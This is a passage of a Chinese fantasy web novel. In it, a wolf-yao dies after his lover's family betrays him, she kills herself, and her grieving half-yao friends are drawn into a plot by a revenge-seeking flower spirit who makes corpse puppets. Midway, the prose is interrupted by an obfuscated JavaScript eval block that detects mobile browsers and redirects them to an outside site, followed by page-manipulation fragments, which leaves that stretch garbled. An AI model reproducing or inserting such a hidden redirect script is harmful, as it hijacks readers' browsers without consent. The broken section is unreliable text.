“你是谁?”芊芊父母和哥哥惊声质问。此处是官府管辖专门看管关键证人或者嫌疑人的秘密所在,一般不会有不相关的外人闯入。 青崖无视了他们,径直来到芊芊面前。 “他想见你。” 对于连累小狼落于诛邪司之手的人,青崖一句话也不想同她多说,抓着她的手就往外走。 芊芊问:“他怎样了?他还好吗?” 青崖顿住脚步,回头看着芊芊,“不是你配合诛邪司设陷阱捉小狼的吗?” “不是我!”芊芊泪如泉涌,“我怎么可能害小狼?是我哥偷听我们谈话,发现了小狼的秘密,是他去诛邪司告密,还威胁我……” 芊芊所说是真话。 原来不是芊芊,果然不是芊芊。她家人不顾她反对去诛邪司举报,小狼的存在既然已被诛邪司知晓,她自然无法反驳家人的说法,只能承认是假意与狼妖要好,为的是与狼妖周旋,否则全家都会被问罪。 后面的内容大致能猜出来,青崖便不想浪费时间听了,小狼还在等着她带芊芊回去。 当让小狼知道,芊芊的确并未变心。 青崖松开芊芊,走到芊芊哥哥面前,在对方还没反应过来之前,一伸手捏住他的下颚,迫使他张嘴,另一手用匕首在他口中转圈一挑。 “啊啊啊——!”芊芊哥哥发出一声凄厉惨叫。 青崖松开手时,他口中鲜血喷出,随着鲜血一起从口中出来的,还有半截软肉——他的舌头。 “你这口舌搬弄是非,不要也罢。” 青崖回身拽着芊芊离开屋子,院子里满是楚醉君点燃的迷香的味道,其他屋子里的人都已被迷倒。 青崖带着芊芊与外面溜了看守一圈的楚醉君会合。 回去的路上,她几乎飞檐走壁,恨不能抓着芊芊飞起来直接回到小狼身边。可惜传送阵并非随处都有,她只能再次跟着楚醉君走过曲曲折折的路。 外面果然已经大乱,抓刺客的官兵与抓狼妖的术士到处都是,而楚醉君总能找到一个又一个偏僻小巷,和一个又一个帮他打掩护的小店。 芊芊跌跌绊绊跟在青崖身后,问了好几次:“小狼怎样了?” 青崖一次也没回答。 虽说告密的是芊芊哥哥,不该迁怒于芊芊,可那毕竟是她哥哥,毕竟他们来京城就是因为芊芊一定要跟他父亲来京城。 芊芊跌了一跤,青崖猛然将她拉起,全然不顾这样会拽痛了她。巨大悲痛下无法保持理智,芊芊也看出了青崖的迁怒,自责道:“都怪我……” 再次回到那间荒凉的旧屋子时,四下一片安静。 青崖拖着芊芊走进屋去,只见小狼被转移到了什么也没铺的木床上,双眼紧闭。 红鸾坐在床边,木然地望着小狼,听到他们的动静,慢慢回头,道:“他已经走了。” 当啷一声,青崖手里一直握着的匕首掉落在地。 芊芊梦游般走到床边,红鸾站起身就要怒斥,青崖拉住红鸾摇了摇头,红鸾这才让开位置,好让芊芊与小狼做最后的告别。 “都怪我……是我的错……”芊芊坐在床边,弯下腰贴近小狼,手指轻轻抚过小狼胸前的伤口,抚过小狼的脸,口中喃喃:“如果我早答应你,不来京城就好了……” 三人在床前垂泪,过了好一会儿,芊芊道:“我有话想单独对小狼说,可不可以给我和他一点时间。” 红鸾揽着青崖肩膀一起走出屋子。 青崖趴在红鸾肩膀上泣不成声,只觉这一切如同一场噩梦。 哭着哭着,她闻到一股浓重的血腥气,抬起头大呼:“不好!芊芊!” 推开房门,只见芊芊亲昵地侧躺在小狼身边,脖子上有一道寸许长的伤口,潺潺涌出殷红鲜血,那血与小狼箭伤处流出的血交织在一起,不分你我,染红他们的衣襟。 芊芊手边,正是青崖之前掉落在地的匕首。 68. 肃肃兔罝,施于中逵4 “我不该迁怒芊芊,这不是她的错,我知道不是她的错……” “小狼一定希望我们照顾好芊芊的……” “小狼……芊芊……” 青崖满心悔痛与自责。 红鸾劝道:“芊芊这样做是因为小狼,无论你说了什么做了什么,她都会这么做的。” 一直淡定旁观的楚醉君也显出了些悲痛,不忍再看那对恋人的尸身,走到外面仰望天空。 “你们果然在这里。”一个女声从围墙缺口处传来。 在满院沉重气氛中,那个轻巧的女声显得极为突兀。 屋里屋外的人都心中一紧,以为追兵到了,楚醉君看清来人后,做了个安抚众人的手势,率先对来人开口道:“你怎么会在这里?方才截囚车时,是你操控落叶干扰术士射箭的吧?” 女子毫不在意地答道:“有人这样大张旗鼓地劫囚车救妖还是头一回,恰好看到,就帮一下。” 之前三个术士爬上二楼将要对人群中的小狼射箭时,那阵落叶并非偶然。 可惜,小狼躲过了那里,却没躲过路上其他术士。 女子一身暗紫色衣衫,发现氛围不对,走到屋门口往屋里扫了一眼,看到了床上已然气绝的小狼与芊芊。 “怎么,还是中箭了?”女子仍是以毫不在意地语气道,“怎么有人血的味道?他旁边那个是人?” “是,”楚醉君道,“路上撞见巡逻的术士,没有提防,还是中箭了。” “哦,那只能算他倒霉,还让你们白忙活一场。” 红鸾听了这话生出一股怒意,瞪了那女子一眼,问楚醉君:“这也是你的人?” 楚醉君摇头:“算朋友,有时候,我们会互相帮点小忙。” “哼,我可不是你的朋友,少套近乎。”女子笑了一下,倚在门框上又扫了一眼屋内床上,朝那边扬了扬下巴,“问你呢,为什么是两个,那女孩是人族的?” 楚醉君道:“女孩是他的恋人。” “为他殉情?” “是。” “居然还有这样的人?我怎么听说,是某家的女儿和诛邪司联手设下捉妖陷阱……” “不是她!”青崖大声打断,“不是她!她从来没有伤害过小狼!她一直把我们当姐姐!她被全家人威逼利诱也没有说出我们的身份和行踪……只是他哥哥偷听知道了……” 说道此处,再次哽咽地说不下去。 女子不相信她的话,转向楚醉君求证,楚醉君点头解释:“与诛邪司告密的是她家人,她因此十分愧疚,所以才随他去了。” 女子沉默了一下,看向芊芊脖子上的伤口,“竟是这样?还有这样的人族?那可真是糊涂……又难得。” 她的语气难辨是夸赞还是讽刺,不过青崖也顾不得反驳她了,因为小狼的灵力开始溃散,点点灵光从他眉心散出,等灵光散尽,小狼将无法维持人身。 “不,不行,不行……”青崖伸手虚搭在小狼眉心,以自己的灵力输入小狼体内,但不论她输送多少灵力过去,小狼都无法吸收,眉心散出的灵力越来越多。 这现象更进一步昭示着小狼的死亡。 小狼和芊芊是真的不会再醒来了。 “我可以封存住他们的灵力,”外来那女子走到床边,右手平举,掌心凭空开出一朵玉兰花来。 “聚——” 随着花瓣展开又合拢,往外逸散的灵光全部停住,小狼溃散的灵力与芊芊体内少量的灵都缓缓汇集,混合在一起,被收拢在那朵玉兰花中。 陌生女子察觉青崖气息异常,问:“你是人还是妖?” “半妖。”青崖望着她手中的玉兰花,“你能救他们吗?” “救不了,只能保留他们残余的灵力。” “那能做什么?” “看来你对妖的事情很无知。” 红鸾上前道:“我妹妹历事不多,又刚刚失去弟弟妹妹,你说话客气点!” 那女子瞟了一眼护在青崖面前的红鸾,转向楚醉君,“这么无知,应当不是你的人吧?” “秋梧,她们刚痛失弟妹,你不要这样说话,”楚醉君道,“她们的确不是我的人。” “说不定正是因为太无知所以才失去了弟弟和妹妹。” 红鸾怒气更甚,那女子抢在她发作之前先一步道:“想报仇吗?我可以帮你们。” 青崖一直有些恍惚,听了这话下意识问:“怎么报仇?” “自然是亲手报仇,”女子道,“杀了那家告密的人和那个射箭的术士。” 青崖不解,妖是不能亲手杀人的,如何能亲手报仇? “我叫秋梧,”那女子道,“你把他们的尸体送给我处理,我就教你们怎么亲手复仇还不会让自己遭受反噬。” 青崖愣了一下才反应过来她所说的“尸体”就是小狼与芊芊。 尸体?他们已经是等待被处理的尸体了么? 胸口一窒,她想大喊他们不是尸体,他们有名字,他叫小狼,她叫芊芊,然而一开口便猛咳一声,吐出一口血来。 “青崖!”红鸾摇摇摇摇欲坠的她。 “她方才给小狼传输灵力消耗太大了,”楚醉君从随身的乾坤袋中取出两粒药丸递过去,“把这个吃了。” 红鸾直接将一粒药丸喂到青崖口中,正要再喂第二粒,楚醉君道:“不可多吃,一次只能吃一粒,另一粒是给你的。” 在青崖去找芊芊期间,红鸾为了护住小狼的心脉也消耗了大量灵力,虽然她本身灵力浑厚不会有恙,但在灵力损耗与悲痛打击下,面色也与青崖一般苍白。 “多谢。”红鸾道。服下药后问秋梧:“你要他们……做什么?” “自然有我的用处,旁人是不能轻易告知的,”秋梧把玩着手中那朵吸收灵力后花瓣合拢的玉兰花,“除非你们肯与我合作,那早晚会知道我要尸体是做什么用的。” 红鸾:“你不说要做什么,我不会把他们给你。” 秋梧:“我做的事,也是对妖有益的事,简单来说,楚醉君是要和人族谈和,我是要与人族算账。” “秋梧,”楚醉君插嘴道,“我的计划有望实现,已经越来越有胜算,你不要再添乱。” “每次你都这么说,我都听烦了。”秋梧漫不经心道,“谁知道你的计划慢吞吞需要多久才能实现,在那之前又有多少妖族会像这个小狼一样死于术士手下?” 她转身对青崖红鸾道:“你们好好想想,如果想同人族算账,就把小狼尸体给我,绝对不会让你们失望。唉,她怎么晕倒了?” 青崖静静躺在红鸾臂弯里,已然失去意识。秋梧随手探了一下她的眉心,“无妨,只是情绪激动导致的,怎么这么弱啊。” 楚醉君蹲到红鸾面前,道:“你们之前答应过,只要我帮你们救弟弟,你们就为我出力,不管结果如何,我的确尽力了,你们可不能反悔。” 红鸾本就不想把小狼与芊芊交出去,就算报仇,也不是非要借助这个秋梧的力量,此人目的不明,说话刻薄,她根本不想与她合作。红鸾正要摇头,却发现楚醉君眼神另有深意,口中说让她不要同意秋梧的提议,眼神却似乎示意让她同意。 秋梧一听楚醉君的话,更确定她们是新来的,还没有成为楚醉君的人,立即也蹲下拉拢:“他的路线,又慢又不过瘾,你们来与我合作,我很快就能帮你们报仇,小狼是被一家人设计诱捕的,我可以帮你们杀了那一家人,或者让你亲手去杀。” “亲手杀人?”红鸾问。 “虽然要采取一些特别的手段避免反噬,不过与直接杀人差不多,你答应到我这边来,我就告诉你怎么做。” 红鸾揽着青崖的肩,看起来还算理智,其实也早已因为小狼与芊芊的先后离去、青崖的 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红鸾听她口口声声说着“尸体”,语气轻佻,心中早已怒意翻腾,碍于楚醉君的暗示才一直强忍着没有发作,好在秋梧终于走了。 待她走远,红鸾问楚醉君:“你是想让我们假答应她,去她那里打探什么事情吗?” “对,”楚醉君语气沉重,“几年前曾有几件惨绝人寰的灭门案,因死者死状特异,像是被什么巨大力量撕裂的,众人恐惧都说是妖所为。你知道,为了将来人族能接受与我族共存,‘妖爱杀人’这种谣言必须破除,所以我派人深入调查那些案件,希望找出真凶。调查发现,那几件灭门案都与秋梧有关,我找到她时,她也承认,说那几家人都是杀害过妖的,她是为了复仇。我奇怪的是,她为什么可以轻易杀死那么多人,还没有遭受反噬?她是怎么做到的,我不知道,但可以肯定,的确是她做的。” “她索要小狼与芊芊做什么?” “这是我希望你们帮我弄清楚的,”楚醉君回视红鸾,“小狼不能复生,若是你们能把小狼交给她,她定会更信任你们。” 红鸾低头帮青崖整理了一下凌乱的发丝,道:“青崖不会同意的。” 楚醉君:“只要你……” “我也不同意。”红鸾凛声打断,“秋梧收集尸体肯定有她的用途,而她的计划是和人族算账,无论怎么算,肯定是与杀人有关。我不会让她利用小狼的尸体去制造惨案,小狼不会愿意,青崖更不会愿意。” “……好吧,”楚醉君道,“如此就只能空着手去。秋梧对人族极为仇恨,你如果想取得她对你的信任,就得也装成对人族极为仇恨的样子。” “这还需要伪装吗。”红鸾目光扫过晕倒的青崖与彻底失去生气的小狼。 楚醉君忽然有几分担忧。 “除了那几起灭门案,秋梧还在策划什么,我一直想弄清楚。我在想办法让人接受我们,可她如果总制造凶案,或者筹谋什么对人有害的事情,人与妖和平共处就难上加难,所以绝对不能让她做的事情干扰我的计划。我曾安排过一个开天盟同族假意与秋梧合作,但是那个同族去了没多久,竟被秋梧说服,真正成为秋梧的同伙,还向秋梧泄露了我们的一些机密,因为秋梧设法帮他杀了射杀他朋友的术士。你……也有仇恨的人吧?秋梧提议帮你杀人,你可动心?” 红鸾想也没想道:“当然动心。” 楚醉君有些无奈:“你若立场不定,我怎放心让你去?” “我有一个立场是坚定的。” “什么?” 红鸾垂首看着青崖,道:“保护她,与她共进退。她既然选择了你这边,我就不会站到对立面。” “如果她也对秋梧的复仇提议动心呢?” “我了解她,”红鸾摇头,“她不会变成一个心怀仇恨,满心杀欲的人。还有……她永远不会背弃朋友。” 69. 肃肃兔罝,施于中逵5 京城出现竟然敢闯东宫刺杀太子的刺客,这刺客逃亡过程中还放走了当天押送游街的妖,皇帝震怒,令术士与军队联手搜捕刺客与妖,京城戒严,要求连续三日不许任何人出入京城,包括京城周边的郡县也接到命令严查可疑人员。 傍晚,青崖依旧在昏迷之中。 当前局面,牡丹那里已经不好再停留了,这是楚醉君安排她们暂时藏身的地方,包括玉颜也被转移到了这里。 那个失去自主意识与灵根的灵总是时刻记挂着照顾主人,有她在青崖身边,倒是减轻了红鸾的负担,红鸾关上青崖的房门,走到长廊里打量眼前的荒宅。 四周围墙上挂满凌乱颓败的枯藤,蛛丝随处可见,院子中间有一圆形石砌水池,里面一滴水也没有,满是枯叶与污泥。 屋子里除了大件不好搬走的或者本就破旧不值得搬走的家具器物,其他什么也没有。 此处人迹罕至,偏僻荒凉得几乎会让人一不小心忘记自己依然处于京城之中。 家徒四壁,满目萧条,红鸾木然地走入庭院,视线投到正站在水池前小声交谈的长山和楚醉君身上。 长山一听说消息就设法从宫中脱身,经由地下密道与传送阵来看望青崖,给青崖把脉后开了个药方,顺便还给玉颜瞧了瞧,不过失去灵根的灵他也束手无策,只是留下了一大堆灵药。 院子东侧的屋子没有点灯,打开的屋门像一个黑洞,屋子里面陈放着小狼与芊芊……的尸体。 红鸾看了一眼那个黑洞,全身的力气仿佛都被那个黑洞吸走了,也顾不得长廊下满是灰尘,直接在长廊前木阶梯上席地而坐。 “红鸾姐,”长山走到她身边蹲下,“你还有青崖,请一定要振作,保重身体。这个地方原来是一些富商的住宅区,皇帝之前信任的那个术士建议皇帝在此处修建行宫,勒令所有富商举家搬迁。后来那个术士被我代替,他的建议皇帝也不执行了,却也没说这块地方要怎么办,就这么变得荒废。皇帝不建行宫,别人也不敢动,因此多年无人,你们可以暂且在这里藏身。” 长山出宫换上了百姓的便装,对红鸾的态度简直比对待皇帝更体贴有理。 楚醉君道:“明日对秋梧那边就说是你自己找的地方,不能让她知道你们与我还有密切往来,否则她不会信任你。这里也有一个密道和传送点,若有人来,你们可以躲入地下密室,也可以通过传送点直接到我家去。” 红鸾感觉头昏脑涨,揉着额角强打精神,“什么,你再说一遍。” 楚醉君于是重复了一遍,这次红鸾总算捕捉到重要信息。 楚醉君能在此处留一个通向他家的传送阵,就说明几乎已经把她们当自己人了。 明日,明日还要去和秋梧周旋。 青崖明日能苏醒吗?苏醒后她能面对这些吗? 如果当初没有带青崖和小狼进京就好了…… “我知道了,还有什么?”红鸾问,她声音依旧平稳,只是比平时虚弱低沉许多。 “晚上最好不要点灯,如果非要点,就把窗和门等透光的地方封住,”楚醉君道,“好在你和青崖也不必做饭吃,我就不给你们准备吃的了。明日和牡丹约好的地点你可还记得?” 红鸾点头:“记得。” “那就好,青崖答应要为我出力,看她状态,我现在也不放心交给她什么事做,那自然只能由她的姐姐代劳了。” 长山拽了楚醉君一下,“明日?就不能让她们先休息几天吗,非要这个时候说这些事?” 楚醉君的神态已经恢复了悠然,道:“越是这种时候越需要有事可做。” 红鸾问:“周家那边有什么消息?” 青崖直接把芊芊带走,事后官府必定追问他们家人当时是什么情况,看到了什么。 “打听过了,”楚醉君道,“周家的说辞是逃脱的狼妖突然出现,为了报复,不仅割了他家儿子的舌头,还抢走了他们的女儿。青崖当时蒙着脸,他们没看到青崖的样子,可也不难猜出青崖和小狼是一伙的,而且他们本就知道芊芊与小狼亲近,之前告官设陷阱,是背着芊芊做的。芊芊知道后,怕牵连家人,也没有当着官府的面表露出和家人不同的态度。到了现在,他们家更不可能让官府知道芊芊是自愿跟着青崖走的,就只能说是被抢走的。” 红鸾用仅有的理智缓缓思考着。 从官府看来,刺杀太子的刺客为了脱身放走狼妖制造混乱,狼妖从囚车逃脱没多久后,芊芊就被掳走了,只要周家不说,官府或许就会认为掳走芊芊的是小狼。 “青崖割了芊芊她哥哥的舌头?”红鸾问。 那个告密的小人死了才解恨,但他不能死于青崖之手。 “放心,青崖不会遭反噬,”楚醉君知道她在担心什么,道:“周家是见过狼妖的重要人证,在官府控制下,官府会给他们找大夫的,只要得到及时医治,他一个青壮年,不会因割舌而死的。” 楚醉君看似油嘴滑舌不正经,实则做事周密面面俱到,这让红鸾略感安心,放下担忧,盘点当前急需要做的事情。 “牡丹那边,我不方便去了,麻烦你去给她报个信,告诉她我和青崖在安全的地方,让她不要担心。另外,得尽快安葬小狼与芊芊。” 虽然有那朵可暂时保尸身不腐的玉兰,但她不愿把他们交给秋梧,若一直这样摆放着,也不妥。 长山与楚醉君对视了一眼,道:“作为人族,大多都想留下自己的后代。小狼与芊芊如此深情,却未能善终,实在令人遗憾,若能留下他们的后代,不知……是否能算是弥补一点遗憾?” 红鸾有些迷惑:“后代?人已逝,留后代有什么用?” 楚醉君道:“我族因是天生地养,聚灵而成,有没有生育能力,所以天然没有人族那种需要留下后代的执念,也正因此,数量很是稀少。我常常想,但凡我族数量多一些,也不至于像现在这样,明明各有异能,却不得不苟且偷生。” 红鸾静静听他讲下去。 “我一直在寻找能增加灵类的方法,目前所知的能孕育灵类的方法有三。 “其一,天生地养,自然形成,只能把那些有灵根的生灵保护起来,多多点灵渡灵,促使他们早开灵智。 “其二,灵与人联姻结合,就像青崖父母一样,如此也可以孕育后代。 “其三,是将有灵根的种子以血肉与仙草灵药灌溉,培育出新的后代。小狼和芊芊,他们现在可以使用第三种方法,留下属于他们的后代。一来算是对生者与逝者的安慰,二来增加灵族数量,于灵族有益。” *** 第二日一大早,长山、楚醉君、红鸾在院中石砌水池前再次聚首。 红鸾一挥手,水池中燃起火光,火焰过处,枯叶杂物等都化为灰烬。 三人合力将小狼与芊芊放在水池中央,在他们交握的手心里,是牡丹收集容纳他们灵力的那朵玉兰花,此时,合拢的花瓣里被填入了一颗莲子。 楚醉君折扇轻摇,凭空飘来一朵大小与水池一样的云,悬停在水池上方,也就是他们三人的眼前,淅淅沥沥落下一阵雨,待云消失雨停,池中多了半尺高的清水。 长山手持一个细长瓷瓶,将他精心熬制的药液倒在水里,顷刻间,水面上升腾起一阵白色水雾,水雾越来越多,瓷瓶里的药完全倒进池子里时,水雾已完全遮挡住水面,甚至蔓延出水池,整个石砌水池在白雾中若隐若现,荒凉的宅院陡然多了几分缥缈仙气。 “这棵莲子是我在炼丹时意外得到的,”长山道,“它坚如金石,火烧而不化,我发现它时,不知它在丹炉里已藏了多久,吸收了多少仙草灵气。楚醉君说,这已是有灵根的莲子,只要这样培育,他们就能继承小狼与芊芊的血肉灵力,凭借他们的血肉,开灵智,化人形,如同他们的后代。” 红鸾望着雾气弥漫的水池,微微颔首。初听这个计划她感到很荒谬,可后来,竟鬼使神差地答应了。 “这个培育灵族的方法需要的条件极为苛刻,”楚醉君道,“首先得有大量灵力,像这样把亡者溃散的灵力收集起来的术法,只有少数灵族会,秋梧最是得心应手,几乎把小狼的全部灵力都保留了下来。其次培育过程中需要多种天南地北的仙草灵药滋养,普天之大能很快凑齐这么多仙草灵药的地方,也只有国师的药房。除此以外还需血肉之躯……总之,原本任何一个条件都不易,现在也是机缘巧合,竟都凑齐了。” 长山道:“没有成功之前还不能疏忽,这莲子须灵药滋养七七四十九日,中断一日则功亏一篑,昨晚匆忙,我只练出一日的药,等我回去会继续炼制,每日送来,保证让莲子养料充分。” 其实关于小狼与芊芊的后代,红鸾也没有特别的想法。 逝去的人终是逝去了,即便有后代不能减轻一丝伤痛,不过至少能让人多一些新的念想。此事全由长山与楚醉君推动,她只是顺应而为,毕竟也不知道要拿他们的灵力与身体做什么。 “这种培育灵族后代的方法没几个人知道,”楚醉君继续解释着,“是我师父书中记录的方法,我师父生前留下的书画记录甚多,不知他怎么想的,这方法竟记录在植物图鉴中,若非长山意外发现这颗莲子,我们特意去搜寻关于这种现象的解释,还发现不了这方法。” “那么,”红鸾看着池中的水雾,“秋梧把他们溃散的灵力收集在一起,帮助保护遗体,应当不是为了这个用途,她到底为了什么?” 楚醉君道:“有灵力加持,尸身保存的时间更久,我朝这个方面调查过许多,似乎有些禁术的施展需要尸体,但是什么禁术,我也想知道,这便是我需要你到秋梧那边弄清楚的事情之一了。” 这时,屋中传出一声呼唤。 “姐姐。” 青崖醒了,她从屋里走出,眼睛一眨不眨望着水池前的红鸾。 歇了一夜,加上长山给的灵药进补,她看起来精神好多了,脸色甚至带着刚睡醒特有的微红。然而水池前的三人却感到她有些怪异。 怪异在于她太平静了。 去世的小狼与芊芊尚躺在侧面厢房,红鸾尚且未从打击中恢复,青崖却看起来极为淡然,清澈双眸中看不出一丝悲伤。 红鸾拉着她的手将她带到水雾缭绕的水池前,给她讲留下小狼与芊芊后代的方法。长山静观青崖脸色,但觉她表情淡漠,眼神空茫,状态大不对劲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832691|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>红鸾本身并不认为留下小狼与芊芊的后代就能淡化一点他们离去的悲伤,为了安慰青崖,却采用了人族的说法。 “……他们若有在天之灵,也会为此感到欣慰的,有他们的血脉在,就如同他们也还在。” 说完后,红鸾仔细观察着青崖的反应。 长山满眼关切,眉头愈发皱紧了。 “这么麻烦。”青崖望着水池中央,不喜也不悲,声音平直。 其他三人大为诧异。 这个留下后代的方法虽然的确麻烦,但红鸾都因为难以言说的悲痛而无法拒绝这个提议,青崖的第一反应居然是感到麻烦吗?此前她可是明知无法保住小狼也要给小狼传输灵力。 隐忍如红鸾,此时冷静表象下也会露出一丝沉痛,青崖的表情不仅没有一丝悲伤,简直就像什么也没发生过。 红鸾扶着青崖的双肩让她正对自己:“你还记得发生了什么事吧?” “记得。”青崖淡淡回答,“小狼中箭,芊芊殉情,他们一起去世了。” 她的声音里没有一丝波动,就像在说昨天下雨、今日晴天,仅仅在描述一个事实,这个事实她丝毫不放在心上。 长山忙拉起她的手,搭在腕上给她诊脉,怕她是得了离魂症。 “不必诊了,”红鸾道,“她这是悲伤过度,选择自闭灵识。” “自闭灵识?”长山第一次听说这种事,讶异道:“那是怎么回事?” 红鸾道:“自闭灵识,记得事,认得人,也听得懂话,但是没有任何情绪,不会开心,也不会难过,也许各种反应会比正常状态略迟缓一些,除此以外……都很正常。” “正常?”长山望向楚醉君,“这是灵族特有的能力吗?把自己变成这种状态?” 楚醉君也显出几分意外,道:“别看我,我这也是第一次见有人能做到封闭自己的灵识,准确来说还只是封闭部分灵识,毕竟还有知觉和记忆。” 长山道:“那她……多久能恢复?” 红鸾:“说不准,她爹去世那一次,她用了三年才恢复。” “三年?”楚醉君大为不满,“那她和我许下的承诺岂不是相当于作废了?” 红鸾瞟了他一眼,“怎么,你有把握三年就实现你的大计?” 楚醉君无奈,“好吧,没把握。另外,是我们的大业。你们现在也是我们中的一员。” “不必提醒,我今日会去赴秋梧的约,探查她到底在计划什么。” 红鸾把青崖的手拢在手里,道:“我带她四处走走,熟悉一下附近地形。” 她转身拉着青崖走出几步,半路突然想起什么,折返回楚醉君与长山之间,指着楚醉君对青崖道:“我有事要办,暂时没法陪你,你跟着他四处走走可好?” 青崖看了楚醉君一眼,摇头道:“不,要跟姐姐。” 红鸾道:“那让他们都走,你自己在这里等我回来。” 青崖摇头,反握住她的手:“不。” 红鸾拉着青崖移到长山面前,指着长山。 “那让他陪你?” 青崖看向长山,不加犹豫地点头:“好。” 红鸾仔细看她,确认她虽是点头,眼里却依旧没有半点情绪,意味深长道:“让他陪你,我就走了。” 青崖:“何时回来?” 红鸾:“不回来了。” 青崖抓住她的袖子,“不可。” 红鸾受到安慰般松了口气,温声道:“我今晚之前回来。” 青崖这才松开她,靠向长山,“好。” 看到青崖如此反应,长山眼里的痛惜满得将要溢出来。 红鸾问长山:“你须要尽快赶回宫中去吗?” “不需要,”长山连忙道。 “你陪她看看四周,聊聊天吧。” 闻言,长山点头答应,下意识就想去牵青崖的手,如同青崖现在一碰即碎,需要他小心翼翼护着。 “不用扶她,”红鸾道,“她只是没有情绪,走路稳着呢。” “好,”长山也感到牵手不妥,扶向青崖的手半空转了个弯,指着后面道:“我先带她看看密道出入口去。” 长山引领着青崖走向后院,时时注意着青崖脚下,随手拨开挡路的树枝,生怕她磕了碰了。 “大国师对皇帝都没有这么上心。” 楚醉君与红鸾一同目送着那二人走远,道:“何必试探呢,试探出了结果你又不开心。” 红鸾望着青崖离开的方向,幽幽道:“她以前自闭灵识期间,总是要一步不离地跟着我。” “女儿长大了是好事,”楚醉君道,“再说你的确有事要出去办,她这个样子,可没法跟你一起到秋梧那边做调查。” 红鸾没理会楚醉君的调侃,目露懊悔,道:“我带他们来京城,本是希望他们长见识,得历练,好有自己独立生存的能力。” “然后呢?这话怎么说得好似他们能独立后,你就要离开一样?” “我毕竟不可能保护她们一辈子。” 红鸾语气一转,恢复惯有的冷静,道:“我这就去找花妖秋梧,第一次见面,要早点去,以示诚意。” 70. 第 70 章 青崖跟着长山把藏身的宅院附近都走了一遍,这以前应当也是个富贵人家的庭院,共有三进,庭院开阔,房屋精致,只因皇帝要圈地修建道宫,屋主就不得不举家搬迁。 逛完庭院,楚醉君教她开启后院传送阵的方法,她很快掌握。楚醉君是个忙人,交代完重要事项就离开了。 长山与青崖无所事事,吹笛煮茶消遣时光,等到日暮西沉红鸾回来,楚醉君也前来询问她与秋梧会面的结果。 “秋梧见我空手去,既没带小狼与芊芊,也没带青崖,的确很是不悦,不过得知青崖是灵识系,她突然又愿意拉我入伙她那边了。” “灵识系稀有,战力虽弱,却可以帮助收集信息或者调查事务,”楚醉君道,“她想拉拢一个灵识系,倒也合理。但是青崖这种还没结丹的,也能打动她吗?” 红鸾不语,只当默认。 她没有说的是,会面谈话过程不甚顺利,为了取得秋梧信任,她不仅以青崖为筹码,还不得不自揭伤疤,将自己险些被人族恋人挖心的事告诉秋梧。 秋梧对此好一番冷嘲热讽,然后又问她那人是否还在世,她是否想杀了那人,被她以早找不到其人为由,糊弄了过去。 秋梧还要求同时得到青崖的加入许诺,红鸾就说青崖悲伤过度,无法自理,而且不爱参与杀人复仇这类事情,不过等青崖恢复,看到姐姐已入伙成为秋梧那边的人,自然会愿意与姐姐站在同一边。 楚醉君问:“她信任你了吗?” “只是暂且接受了,不算信任。”红鸾道,“她问了我许多问题,能答的我都答了,我没问她什么重要的事,初期见面,她也不会告诉什么的。” “你就什么都没问?多少也应该展示一下自己对她那边的计划感兴趣才对。” 红鸾喝着茶没搭腔。 “是啦,嘱咐你都是我多嘴,”楚醉君道,“你人美聪明,自然知道怎么应对,只是不要过于自作主张才好。” “秋梧她了解到我可以化作红鸟,本想让我去北方,”红鸾放下茶杯,语气中多了一丝不解,“说是去勘察地形,我推脱说我妹妹现在不方便到处行走,我也不能离开他太远,她虽不情愿,最终还是答应让我在京城周边勘察地形。” “勘察地形?” “嗯,让我去看哪里有农田,哪里有城镇,还有地方要道,一一做图记录下来。” 楚醉君沉吟:“此事的确适合你这种飞行系去做,凡人脚力视角都有限,一些地势复杂处,多的是尚未登记在案的区域。可秋梧要这些信息做什么?” “那我就不知道了,我试着问过,她没有说。” “不可操之过急,记得日后慢慢打听即可。”楚醉君折扇一敲,道:“对了,还有件事告诉你们,汤固要回京了,一切需要更加小心。汤固每次都不会空手而归,要么是术法更加精进,要么是发现了新的法器,捉了新的大妖,这次没有捉到妖,怕是带回了别的什么。” 长山道:“我在宫里打探打探,有什么消息会及时告诉你。” 楚醉君点头:“其他倒还好。我最怕的是他那指妖罗盘。” 指妖罗盘是汤固从二十年前创建诛邪司之初就开始研究的法器。顾名思义,其功能就是精确指出附近的妖。 “指妖罗盘一旦研制成功,京城里,甚至这世间,恐怕就再无妖的立足之地。那时候,我们的计划也要跟随情势大变了。” *** 红鸾初时还以为青崖回到九岁那年自闭灵识后的状态,当作小孩需要人不离身地照看,后来发现这次与九岁状态是不同的。 青崖除了没有情绪,仍保留了成年的习惯与理智,并不需要人贴身照顾,红鸾也就放下心来,留青崖自己在荒宅里静修,她则常常早出晚归,有时甚至过夜才回,都是帮秋梧去勘察附近地形。 长山几乎天天都来看望青崖,楚醉君两天来一次,询问红鸾与秋梧的来往状态。红鸾每次交给秋梧的地图,也会交给楚醉君一份。 将近一个月后,终有一日,红鸾对他道:“我知道秋梧为什么杀人不会遭反噬了。” 多日来往,秋梧渐渐放松了警惕,这日见面,秋梧蒙上红鸾的眼睛带她去了一个地方,在那里有秋梧的另外一个同伴,还有一个面无表情的人。 那人像树桩一样笔直站立着,毫无生气,让红鸾以为那是点灵术点出的假人。 “这是我用尸体制作的傀儡,”秋梧介绍道,“这种傀儡可以使用灵力操控,凡是尸体,都可以做成傀儡,只不过灵族尸体做成傀儡保存时间更久,人的尸体傀儡最多只能保留几个月,到一定时间后就开始僵硬行动不便。” 红鸾道:“所以你索要小狼和芊芊的尸体就是为了制成这种傀儡?” “没错,可惜了,你不肯把他们给我。你把他们葬了吗?人族的习惯有什么好学的,都是糟粕。死了就是死了,与其入土不如让同族利用利用。” 实则小狼与芊芊正躺在一个满是灵药的水池里,用生前所有的灵力与血肉培养他们的后代,最近,莲子已经萌芽长出叶子了,下一步便是开花结子。 红鸾不信人族“死后还能底下有知”那一套,深知培养小狼与芊芊的后代也并非对他们有利,说到底,竟与秋梧的“让同族利用利用”也没什么区别,只不过更体面,没有让他们的尸身去做他们生前就不愿做的事情。 